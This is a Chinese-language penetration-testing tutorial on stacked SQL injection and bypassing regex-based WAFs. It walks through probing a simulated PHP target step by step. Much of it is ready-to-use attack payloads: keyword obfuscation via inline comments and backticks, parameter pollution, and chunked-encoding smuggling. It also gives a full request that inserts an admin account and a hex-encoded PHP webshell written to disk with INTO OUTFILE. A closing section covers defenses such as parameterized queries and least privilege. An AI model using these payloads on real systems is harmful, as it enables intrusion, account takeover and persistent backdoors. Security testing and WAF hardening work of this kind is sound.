1. 从堆叠注入开始:一个容易被低估的入口
先说个真实经历。某次渗透测试中,我拿到一个目标站点,参数点存在明显的报错注入特征,但反复尝试联合查询、布尔盲注,全被应用层的输入过滤拦得死死的。正当我准备放弃转向其他方向时,发现数据库连接配置里允许执行多条语句——也就是PHP代码中使用了mysqli_multi_query或者PDO的multiStatement选项。于是尝试在参数后拼接分号,再加一条select sleep(3),页面响应时间直接拉长了。那一刻我就知道,堆叠注入的入口已经打开了。
很多人对堆叠注入的印象停留在“知道但没实际用过”的阶段,原因很简单:它不像联合查询那样可以直观地在页面上回显数据,也不像布尔盲注那样有明确的真伪判断。但堆叠注入有一个天然的优势——它可以执行任意多条SQL语句,这意味着在特定场景下,它能做到普通注入做不到的事,比如创建账号、修改数据、调用存储过程,甚至写入文件后配合其他手段实现更深入的控制。
这篇文章不打算讲那些入门级的联合注入、报错注入,而是把重心放在两个点上:一是堆叠注入的原理、适用场景和利用手法,二是如何突破常见的WAF规则。这两块内容在实际对抗中往往交织在一起,因为很多堆叠注入点一测出来就被WAF按住了,后面所有操作都进行不下去。
我尽量用自己实测过的案例和踩过的坑来讲,不会给你堆一堆理论概念然后让你自己摸索。读完这篇文章,你至少能知道:什么样的场景适合直接堆叠,什么样的场景应该选择绕过,以及最常见的几类WAF规则到底在过滤什么。
2. 堆叠注入的原理与适用场景拆解
2.1 为什么分号在这里成为关键
堆叠注入的核心在于“分号”。在SQL标准中,分号是一条语句的结束标志,数据库引擎允许在一行中顺序执行多条用分号分隔的语句。比如:
select * from users; select * from orders;正常情况下,应用层会把用户输入拼接进SQL语句,只执行一条查询。如果输入中包含分号,且后续内容被拼接成了另一条语句,数据库就会把两条语句都执行掉。这就是堆叠注入的本质。
但这里有个重要的前提:数据库驱动支持多语句执行。以PHP为例:
// 支持多语句——存在堆叠注入风险 $conn->multi_query($sql); // 不支持多语句——分号后的内容不会被执行 $conn->query($sql);Java的JDBC默认也不允许一次执行多条语句,除非在连接串里显式加上allowMultiQueries=true。所以拿到一个注入点后,第一件事不是急着拼接语句,而是判断当前的驱动层是否支持多语句。怎么判断?很简单,构造一个select 1; select 2之类的无害语句,看页面是否正常响应或返回第二查询结果。如果报了语法错误,说明驱动层直接把分号后的内容一并解析了,这基本就是堆叠可用的信号。
2.2 堆叠注入能做什么:一张场景对照表
为了让你对堆叠注入的能力边界有清晰认知,我整理了一个表格:
| 能力项 | 普通注入(联合/盲注) | 堆叠注入 |
|---|---|---|
| 获取当前查询的数据 | 可行 | 可行 |
| 增加、删除、修改数据 | 通常不可行 | 可行 |
| 创建数据库用户/修改密码 | 不可行 | 可行 |
| 调用存储过程 | 不可行 | 可行 |
| 写入/读取文件(需权限) | 受限 | 可行 |
| 执行系统命令(需扩展) | 不可行 | 可行(UDF) |
这个表最能说明问题:普通注入本质上是“在原有查询基础上的有限操作”,因为它只能控制一条SELECT语句的某些子句(如WHERE、UNION后的部分),无法跳出查询的边界。而堆叠注入直接将SQL执行能力扩大到“多语句任意执行”,从“读数据”升级到了“写操作”。
2.3 什么情况下优先考虑堆叠注入
不是说所有注入点都适合堆叠,实际项目里要分场景。我个人的判断标准有这几条:
第一,联合查询无回显。当页面上看不到任何查询结果返回位,明显不是联合注入能利用的场景,但报错信息又能看到SQL拼接痕迹时,值得试堆叠。
第二,目标功能与写操作相关。比如注册、评论、修改头像、发布文章这类功能点,如果存在注入,先不看回显,直接测堆叠是否能改写数据。某次测试中,我遇到一个用户反馈提交功能存在注入,页面完全不显示任何数据,联合查询完全无解。但尝试堆叠后,用update语句把一条消息的状态字段改掉,结果后台界面里这条消息的显示状态发生了变化——这就是堆叠的实际效果。
第三,数据库权限偏高。through读文件、写webshell、创建UDF等操作,是普通注入想做但做不了的。只要权限允许,堆叠注入能让攻击者从“注入点”直接推进到“控制点”。
3. WAF原理与通用绕过思路
3.1 WAF到底在拦什么
WAF(Web Application Firewall)的工作方式主要有三类:正则匹配、语法解析、云规则联动。绝大多数传统WAF基于正则,它对输入的检测逻辑是“包含即拦截”,也就是说只要请求命中某个规则特征,就直接拒绝或重定向。这类规则通常覆盖了以下模式:
- 关键字:
union、select、sleep、update、insert、load_file、outfile等 - 注释符:
/**/、--、#,用于阻断语句拼接 - 编码形式:
union%20select、%23、%0a等 - 常见函数:
database()、version()、substr()、concat()
基于语义解析的WAF则更聪明一些。它会尝试解码、还原真实SQL语义,再判断是否是攻击行为。它的优势是对编码绕过和变形关键字识别能力更强,但缺点是面对高度混淆的语句,解析器本身也会失效。我遇到过一个有趣的案例:某WAF对information_schema.tables有过滤,但对information_schema.tables这种不加空格的写法识别不了,原因就是解析器的词法切分规则不同。
3.2 绕过WAF的基本逻辑框架
很多人在绕过时容易陷入“只会用一两个技巧”的瓶颈,其实绕过的核心思路只有三个方向:
- 让WAF的规则匹配不到攻击特征。典型做法包括大小写、注释混淆、内联注释、等价替换、关键字拆分重组。
- 让WAF无法正确还原语句语义。典型做法包括使用数据库自身的宽字符处理特性、利用编码差异、利用解析器与数据库引擎的差异。
- 让攻击语句不在WAF的检测载荷范围内。比如分块传输、参数污染、HTTP协议特性。
这三个方向不是孤立的,一个高质量的绕过载荷往往同时运用多个技巧。后面我会展开讲具体怎么组合。
4. 实战绕过WAF的几类核心技巧
4.1 注释符与内联注释的灵活运用
对于正则型WAF,注释是一把好工具。MySQL支持多种注释方式:
select 1; -- 注释 select 1; # 注释 select 1; /* 注释 */用得比较多的是内联注释:
/*!select*/ 1;/*!这种写法是MySQL独有的特性,/*!后面的内容会被当SQL正常执行,但很多正则WAF会把/*!select*/当作“select”关键字命中并直接拦截。所以实际利用中,我会结合其他变形手法组合使用,而不是单靠内联注释。
一个经典的组合是用内联注释+换行符绕过关键字检测:
/*!union*/ /*!select*/ 1,2,3;如果WAF规则只是简单匹配“union select”,那么这种写法会命中,但如果规则是匹配“union\s+select”,中间有注释字符相隔,正则就无法匹配。具体能不能成,取决于目标WAF规则写得有多细。
4.2 等价替换与函数混淆技巧
当关键字被过滤时,替换为同功能写法是优先考虑的方向。比如:
sleep(5)被拦截,可以用benchmark(10000000, md5(1))替代substring()被拦截,可以用left()、right()、mid()替代concat()被拦截,可以用concat_ws()替代version()被拦截,可以用@@version替代
函数混淆方面,MySQL对函数名的解析比较宽松,比如SELECT可以写成SELECT、select,甚至SeLeCt(前提是WAF没有做大小写归一化)。另一种方式是使用反引号包裹关键字:
`select` 1;这在表名字段名场景下有效,但在函数调用场景下不一定。实际操作中要区分上下文。
4.3 利用HTTP特性进行绕过
这类技巧面向的是WAF的请求解析逻辑,而不是SQL语法本身。
第一是参数污染。当后端取参逻辑是取第一个参数值,而WAF检查的是最后一个时,就可以把脏数据放在WAF检查不到的位置:
GET /index.php?id=1&id=union select 1,2,3如果WAF检查参数名相同就只看第一个id的值,而后端却取最后一个id,就能绕过。反过来也有后端取第一个、WAF检查全部的配置,所以要先做探测确认参数解析顺序。
第二是分块传输。对HTTP请求体使用Transfer-Encoding: chunked编码,将恶意内容拆成多个小块发送。有些WAF没有处理chunked编码的能力,或者只能解析第一个chunk,就会漏掉污数据块。这个技巧在POST型注入点非常常用。
第三是Content-Type混淆。有些WAF会优先解析application/json格式的数据,对text/xml支持较差。如果目标接口接受JSON数据,WAF规则却按照传统application/x-www-form-urlencoded来解析,就可以把payload换成JSON结构来规避检测。
4.4 内联注释+关键字的组合思路
前面提到内联注释,这里展开说一个我自己常用的思路:把内联注释作为关键字之间的“隔断”。比如:
union/*--*/select这种写法在MySQL中可以正常执行,因为/*--*/是一个完整的注释块。WAF如果只是正则匹配union\s+select,中间有注释就不算空格,从而绕过。但如果WAF做了“注释折叠”,也就是把注释内容视为空白字符再匹配,那就有一定概率被识别。实路上我建议多准备几个变体,逐个尝试。
另一个思路是使用/*!50000优化器提示:
union/*!50000select*/1,2,350000这个数字代表MySQL版本号,不同版本下效果有差异。如果检测规则里有“select”关键字,但没处理/*!注释块,这个写法就是有效的。
5. 实操演示:一个绕过WAF的堆叠注入完整流程
5.1 环境与目标描述
为了讲得更有代入感,我以一个模拟项目X为例。该站点是一个用户管理系统,使用/user/getinfo.php?id=1这类URL传参,后端拼接SQL为:
$sql = "SELECT username, email, phone FROM user WHERE id = " . $_GET['id'];驱动层使用了PDO且开启multiStatement选项。系统前置部署了一套传统正则型WAF,规则包含以下过滤特征:
- 拦截关键字:
union、select、sleep、update、insert、load_file - 拦截注释符:
--、#、/**/ - 拦截空格变体:
%20、+、%09、%0a、%0b、%0c、%0d
我的目标是在这个环境中通过堆叠注入创建一个管理员账号,演示完整绕过过程。当然,这里是模拟环境,只用于技术论证和防御验证,不涉及任何真实系统。
5.2 第一步:基础探测与堆叠可用性判断
先发送基础请求:
GET /user/getinfo.php?id=1响应正常,返回用户信息。随后测试单引号:
GET /user/getinfo.php?id=1'返回SQL语法错误,说明存在注入。此时尝试联合查询,确认是否被WAF拦截:
GET /user/getinfo.php?id=1 union select 1,2,3WAF页面出现拦截提示。从响应头或拦截页判断是正则型WAF后,直接测试堆叠:
GET /user/getinfo.php?id=1;select 1这里有个细节:如果直接select会被拦,我先测select 1会不会触发规则。如果拦截,就说明关键字过滤是存在的,后面就需要先解决关键字问题。如果没拦,说明WAF只匹配特定组合,后面会轻松不少。
5.3 第二步:绕过关键字与注释检测
假设select被拦截,我的处理方式是把关键字拆成注释包裹的形式:
GET /user/getinfo.php?id=1;/*!select*/ 1如果WAF对内联注释有识别能力,我再换一种形态:
GET /user/getinfo.php?id=1;SEL/**/ECT 1这个写法利用的是MySQL的关键字解析特性——SEL/**/ECT中间的注释被当作空白处理,而正则匹配select不连续。但要注意,这个技巧不适用于所有语义环境,有些地方注释插入会导致语法错误。
更稳妥的方式是用反引号:
GET /user/getinfo.php?id=1;`select` 1实测下来,有些WAF不会对反引号里的内容做关键字匹配,但MySQL又能正常执行。需要说明的是,这个写法在select作为函数名或表名时有效,在直接执行语句的场景下行不行,要实测确认。
空格被拦截的问题可以通过两种方式解决:一是用注释替代空格,二是使用URL编码的Tab或换行符。比如:
GET /user/getinfo.php?id=1;/*comment*/select/*comment*/1这里用注释替代所有空格位置,不仅绕过了空格过滤,还把select关键字藏在两个注释块之间,削弱正则匹配的准确性。
5.4 第三步:构造完整的堆叠载荷
确认基础绕过可行后,开始构造完整载荷。我要做的是先查询当前数据库名,再插入一个用户:
;insert into user(username,password,role) values('admin','e10adc3949ba59abbe56e057f20f883e','admin')用MD5加密密码是为了避免日志或请求中暴露明文。最终HTTP请求为:
GET /user/getinfo.php?id=1;insert/*comment*/into/*comment*/user(username,password,role)values('admin','e10adc3949ba59abbe56e057f20f883e','admin')这一步的关键点在于insert关键字是否被拦。如果被拦,就用前面提到的方式变形为ins/**/ert或者在关键字前后插入内联注释:
/*!50000insert*/ into user ...但要注意内联注释+insert into这种写法不是所有MySQL版本都能识别,版本差异会导致语法错误。所以实战中我通常准备多套payload,依次测试。
5.5 第四步:堆叠注入的验证与后续延伸
执行完插入语句后,直接访问登录接口,使用创建的账号登录。如果登录成功,说明堆叠注入已成功,且语句执行了预期效果。
更常见的延伸操作是往数据库写入文件:
;select 0x3C3F706870206576616C28245F504F53545B2763636D64275D293B3F3E into outfile '/tmp/ccmd.php'这里把PHP一句话木马的十六进制形式写入指定路径,前提是MySQL具备FILE权限且目录可写。这条语句在涉及共享主机或虚拟目录时会遇到不少权限限制。如果遇到权限错误,优先确认secure_file_priv是否为空、目录是否有写权限,不要盲目尝试多个路径浪费时间。
5.6 参数拆分与分块传输组合
当以上方法在POST请求场景下被WAF按请求体拦下时,可以结合分块传输。手动构造chunked格式:
POST /user/update.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 1d username=test&role=1 14 ;update user set 1c role='admin' where id=2 0chunk大小为十六进制表示的字节数,每块结束要换行。这种方法的思路是让WAF在解析分块时就断开,检查不到完整语句。但它对后端解析能力有依赖:如果后端服务器或中间件不支持chunked重组,目标请求本身会失败。所以这种方法要在验证目标支持chunked后再使用。
6. 常见问题与排查技巧实录
实操中总会遇到一些让人头秃的情况,我这里整理几类最典型的,并把排查思路一并写上。
问题一:注入点能用报错注入,但堆叠注入没有反应
先说原因:大概率是驱动层不支持多语句执行。判断方法很简单,构造;select 1看是否报错,如果报的是语法错误(而不是正常执行),就可以确认不支持。另一种可能是输入过滤把分号替换成了空字符串。这种时候用双写分号;;测试,有时单分号被过滤,双分号反而能绕过。
问题二:关键字变形后,SQL语句本身执行报错
常见原因有两个:一是变形方式不适合当前数据库引擎,比如MySQL支持/*!select*/,但PostgreSQL和SQL Server完全语法不同;二是注释插错位置,导致语义改变。排查办法是先在本地环境验证语法,再拿到目标环境测试。不要在生产目标上反复试错,那样既浪费流量又容易被封禁IP。
问题三:WAF能拦截所有简单变形,怎么办
这说明目标WAF规则很有针对性,包含了注释折叠、大小写归一化、关键字黑名单比较全面。这个时候建议换思路,绕的方向应该转向参数污染、分块传输、解码差异这些协议层面,而不是继续折腾SQL语法变形。我曾经遇到一个WAF,所有基于注释和等价的绕过都不生效,最后是靠分块传输+参数污染组合才打通的。
问题四:绕过WAF后,堆叠语句执行了,但数据没写进去
排查顺序是:先看WHERE条件是否准确,再看字段名是否写错,然后看字符编码。有个我踩过的坑:目标数据库使用GBK编码,我插入的payload中包含了%bf%27之类的宽字节字符,结果语句里引号没闭合,导致插入失败。宽字节注入在我这里翻了车,这提醒我遇到中文站点先确认库编码,再做闭合测试。
7. 防御侧视角:这些绕过为什么能成功
写安全测试的文章,如果只在攻击角度打转,我觉得价值少了一半。所以最后用一个章节聊聊防御视角——从防守方的角度回看以上绕过手段,你就能真正理解每一类绕过为什么成立。
堆叠注入存在的根本原因是代码使用了支持多语句的数据库驱动,而且没有对用户输入做参数化查询。如果你用了预编译语句(PreparedStatement),无论怎么拼接,用户输入都只是参数值,分号没有机会成为语句分隔符。这是针对堆叠注入最有效的防御手段,没有之一。
WAF绕过的根本原因是检测逻辑与后端解析逻辑不一致。当WAF认为某个请求是安全的,但后端数据库却从里面解析出了恶意语句时,绕过就发生了。要修补这类问题,不能只靠加几条新的正则规则,而应该从以下几方面入手:
- 统一依赖库对输入的解码方式与SQL解析器的理解保持一致
- 对请求体启用语义级检测,而不是特征匹配
- 严格限制数据库账号权限,不随应用配置分配
FILE、SUPER等高权限 - 对分块传输做重组后再检查,过滤层与后端引擎的解析行为对齐
很多团队部署WAF后,只关注了拦截日志里有多少攻击请求,忽视了规则覆盖率本身的问题。一个更有价值的做法是:定期使用渗透测试报告中的绕过样本回归验证WAF规则,确保拦截率不是数字上的好看,而是真实场景下经得起验证。
从个人实际项目经验来看,堆叠注入的利用难点从来不在SQL语法本身,而在于三个环节的判断——判断入口是否支持多语句、判断当前WAF的解析粒度、判断数据库权限边界。把这三个点摸透了,剩下的就是构造载荷不断试错的过程。希望这篇文章能帮你在测试工作中少走几条弯路。